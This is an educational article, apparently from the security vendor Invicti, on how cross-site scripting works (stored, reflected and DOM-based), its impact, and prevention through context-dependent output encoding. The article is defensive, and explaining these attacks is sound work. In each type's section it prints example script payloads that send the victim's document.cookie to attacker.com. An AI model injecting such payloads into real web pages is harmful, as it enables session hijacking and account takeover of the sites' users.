Why cross-site scripting attacks are possible
Cross-site scripting (XSS) attacks are injection attacks that insert malicious script code into a web page processed by a user’s browser. The “cross-site” part means that the attack code has a different origin than the visited site. Normally, this should be impossible due to same-origin policy (SOP) – a fundamental browser security feature that only allows web applications to load scripts that have the same origin.
Note: For the purpose of same-origin policy and XSS, two sites have the same origin if they have the same protocol (URI scheme, such as
https://), host name (such as
www.example.com), and port number (usually omitted in website URLs).
The impact of cross-site scripting vulnerabilities
The impact of an exploited XSS vulnerability on a web application can vary greatly depending on the specific attack. By executing script code in the user’s current context, attackers can steal session cookies and perform session hijacking to impersonate the victim or take over their account. In conjunction with social engineering, this can lead to the disclosure of sensitive data, CSRF attacks (if the attacker can access anti-CSRF tokens), or even malware installation.
If the victim has administrative rights in the targeted application, a successful XSS attack can be used for privilege escalation and then code execution on the server (read our analysis of the apache.org Jira incident to see how this can happen). As HTML5 web APIs give the browser ever more access to local data and hardware, attackers can potentially use XSS vulnerabilities to access your local resources, from the data in your browser storage to your camera and microphone. XSS is a big deal in web application security.
Types of XSS vulnerabilities
Stored cross-site scripting
As an example, a stored XSS vulnerability can happen if an online message board or forum fails to properly sanitize the user name before printing it on the page. In such a case, an attacker could include an HTML tag containing malicious code while registering a new user. When the stored user name is loaded and inserted into the web page, it might be something like:
Username: user123<script>document.location='https://attacker.com/?cookie='+encodeURIComponent(document.cookie)</script> Registered since: 2016
Imagine having a stored malicious script in the About me page of a high-profile user on Facebook or a similar social media platform. The payload would trigger for every user who opened that page, and people sharing the link would spread it like a virus. The Samy XSS worm that spread on MySpace in 2005 provided a very early demonstration of such behavior.
Reflected cross-site scripting
A reflected XSS vulnerability happens when unsanitized user input from a URL or web form is directly used (reflected) on the page. As a non-persistent vulnerability, it allows the attacker to inject malicious content into one specific request. In practice, the attacker needs to trick the user into opening a malicious URL or submitting a specially crafted POST form that contains the payload, often through some kind of social engineering. This was the XSS variety that built-in browser filters were intended to protect against.
To illustrate reflected XSS, let’s say that the search functionality on a news site is vulnerable to this attack. Search queries are built by simply appending the user’s input (taken from the GET HTTP request) to the
The search results page directly reflects the
q parameter value to show what the user searched for:
We found the following results for “data breach”:
If the user input is not sanitized, a malicious actor can perform a reflected cross-site scripting attack by sending the victim a malicious link in a phishing email or on social media. The malicious URL might look something like:
https://example.com/news?q=<script>document.location='https://attacker.com/log.php?c=' + encodeURIComponent(document.cookie)</script>
In practice, this suspicious-looking link would usually be obscured using encoding or a URL shortener. Once the victim clicks on the malicious URL, the XSS attack is executed and the website renders the following code:
We found the following results for “
<script>document.location='https://attacker.com/log.php?c=' + document.cookie</script>
<script> HTML tag containing the attacker’s malicious code redirects the victim’s browser to a website controlled by the attacker to read the current cookie values, including session cookies for
example.com (session tokens). This opens the way to a variety of session hijacking attacks.
DOM-based cross-site scripting
DOM-based XSS vulnerabilities are different in that the attack happens entirely inside the browser, specifically in the DOM (Document Object Model) of the current web page. As websites got bigger and more responsive, more and more processing was moved to the client side, eliminating the need to wait for a response from the web server. With modern single-page applications (SPAs), a full page load only happens once – the rest is asynchronous communication between the client and server to update the DOM structure of the page in the browser.
http://www.example.com/news.html#weather can be twisted into
http://www.example.com/news.html#<script>document.location='https://attacker.com/log.php?c=' + document.cookie</script>, exposing the cookie value to the attacker.
As with all injection attacks, the root cause of cross-site scripting vulnerabilities is insufficient validation and sanitization of user inputs. To prevent XSS security vulnerabilities, you need to apply context-dependent output encoding. In some cases, it may be enough to encode HTML special characters (such as opening and closing tags), but in general, correctly applied URL encoding will be more secure. You should only accept links with whitelisted protocols to prevent the abuse of URI schemes such as
Until fairly recently, most browsers had built-in XSS filters to catch at least some reflected XSS attempts, but these were limited in scope and effectiveness and, in any case, could be evaded by more advanced attackers. They also gave developers a false sense of security (“XSS is no big deal, the browser will stop it”). Modern web browsers are moving away from XSS filtering – read our article about the rise and fall of the XSS Auditor in Chrome for a fascinating look behind the scenes of XSS filtering attempts. Browser-side XSS filters (if any) should therefore be considered a second line of defense (at best) to minimize the impact of existing vulnerabilities.
Tempting though it may seem, developers should not use input blacklisting (in effect, manual filtering), as there are also many ways to bypass it. Another practice to avoid is manually stripping potentially dangerous function names and characters from input strings, as this only makes it harder for XSS filters to recognize dangerous payloads. Again, the only recommended way to prevent cross-site scripting vulnerabilities is to consistently apply context-dependent encoding. See the OWASP XSS prevention cheat sheet for a detailed guide to avoiding XSS.
Finding and remediating XSS vulnerabilities
Cross-site scripting vulnerabilities make up the majority of all web application security issues that Invicti identifies every day in customer websites and web applications. Because the Invicti scanner incorporates a full modern web browser engine, it can use its proprietary Proof-Based Scanning technology to simulate vulnerability exploitation and automatically confirm most XSS vulnerabilities with no need for manual verification – and no risk of false positives. Crucially, this includes elusive DOM-based vulnerabilities where the payloads don’t show up in HTTP responses, as well as out-of-band and second-order variants.
Invicti was built with accurate automation in mind and provides out-of-the-box integration with popular issue trackers, so you can (if necessary) automatically create developer tickets for security issues with no manual work for the security team. This is why Invicti vulnerability reports include all the remediation guidance that developers need to understand the issue and correctly fix it by addressing the root cause. This helps to avoid partial fixes that lead to cross-site scripting vulnerabilities resurfacing in the future and also fosters more secure coding practices to improve your web application security in the long run.
Vulnerability Classification and Severity Table
|Classification||ID / Severity|